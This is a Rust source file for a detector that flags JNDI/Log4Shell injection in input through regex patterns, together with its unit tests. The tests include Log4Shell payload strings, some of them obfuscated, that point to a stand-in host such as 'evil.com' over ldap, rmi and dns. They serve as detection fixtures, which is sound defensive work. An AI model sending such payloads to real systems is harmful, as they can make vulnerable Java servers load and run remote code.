use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
use regex::Regex;
use std::sync::LazyLock;
static STRONG_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(concat!(
r"(?i:\$\{jndi:",
r"|\$\{lower:j\}",
r"|\$\{upper:j\}",
r"|\$\{::-j\})",
))
.unwrap()
});
static WEAK_PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(concat!(
r"(?i:\$\{env:",
r"|\$\{sys:",
r"|\$\{java:)",
))
.unwrap()
});
pub struct JndiInjectionDetector;
impl Detector for JndiInjectionDetector {
fn name(&self) -> &'static str {
"jndi_injection"
}
fn detect(&self, input: &str) -> Option<DetectionResult> {
regex_detect(
std::slice::from_ref(&*STRONG_PATTERNS),
self.name(),
AttackCategory::Injection,
Severity::Critical,
"JNDI/Log4Shell injection detected",
input,
)
.or_else(|| {
regex_detect(
std::slice::from_ref(&*WEAK_PATTERNS),
self.name(),
AttackCategory::Injection,
Severity::Low,
"log4j lookup syntax present (weak signal)",
input,
)
})
}
}
#[cfg(test)]
mod tests {
use super::*;
fn det() -> JndiInjectionDetector {
JndiInjectionDetector
}
fn assert_hit(input: &str) {
crate::test_helpers::assert_detected(
&det(),
input,
AttackCategory::Injection,
Severity::Critical,
);
}
fn assert_low(input: &str) {
crate::test_helpers::assert_detected(
&det(),
input,
AttackCategory::Injection,
Severity::Low,
);
}
#[test]
fn name_is_jndi_injection() {
assert_eq!(det().name(), "jndi_injection");
}
#[test]
fn detects_common_payloads() {
for input in [
"${jndi:ldap://evil.com/a}",
"${lower:j}ndi:ldap://evil.com/a}",
"${upper:j}NDI:rmi://evil.com}",
"${::-j}ndi:dns://evil.com}",
] {
assert_hit(input);
}
}
#[test]
fn lookup_only_tokens_are_low_not_critical() {
for input in [
"${env:JNDI_LOOKUP}",
"${sys:java.version}",
"${java:os.name}",
r#"<Property name="logDir">${env:LOG_DIR}</Property>"#,
r#"<Property name="user">${sys:user.home}</Property>"#,
] {
assert_low(input);
}
}
#[test]
fn benign_inputs_not_detected() {
for input in [
"Hello, this is a normal text input. Nothing suspicious here.",
"The jndi lookup service is running",
"Please set the JAVA_HOME env variable",
"log4j is a logging library",
] {
assert!(det().detect(input).is_none(), "false positive: {input}");
}
}
#[test]
fn edge_cases() {
assert!(det().detect("").is_none());
assert!(det().detect(" \t\n ").is_none());
assert!(det().detect("你好世界 こんにちは").is_none());
assert!(det().detect("jndi:ldap://evil.com/a").is_none());
assert!(det().detect("${jndi").is_none());
assert!(det().detect("${jndildap://evil.com}").is_none());
}
#[test]
fn obfuscated_variants_detected() {
for input in ["${JNDI:ldap://evil.com/a}", "${LoWeR:j}ndi:ldap://evil.com}"] {
assert_hit(input);
}
}
#[test]
fn obfuscated_lookup_only_token_is_still_low() {
assert_low("${ENV:LOG4J_FORMAT_MSG_NO_LOOKUPS}");
}
}